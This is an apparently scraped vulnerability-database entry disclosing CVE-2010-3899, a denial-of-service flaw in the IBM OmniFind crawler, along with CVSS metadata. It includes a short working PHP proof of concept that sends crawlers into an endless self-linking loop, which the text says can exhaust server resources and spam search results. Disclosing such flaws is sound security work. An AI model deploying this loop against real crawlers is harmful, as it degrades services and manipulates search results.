Lucene search

K
exploitdbFatih KilicEDB-ID:15476
HistoryNov 09, 2010 - 12:00 a.m.

IBM OmniFind Crawler - Denial of Service

2010-11-0900:00:00
Fatih Kilic
www.exploit-db.com
30

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

AI Score

6.5

Confidence

Low

EPSS

0.011

Percentile

84.2%

* Crawler endless loop (CVE-2010-3899)

The crawler has no recursion depth limit. A site with dynamic parameter manipulation can
cause an endless loop. This loop will block the crawler thread and use permanent server
resources. Too many blocks can lead to a denial of service. The same site will be 
indexed more times and the search results will display the same site many times. This
can be abused for spamming the search results.


Exploit to test the endless loop:
/* loop.php */
<?php
 $numb = rand(); 
 echo $numb.'<br><a href="loop.php?value='.$numb.'">click me</a>';
?>

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

AI Score

6.5

Confidence

Low

EPSS

0.011

Percentile

84.2%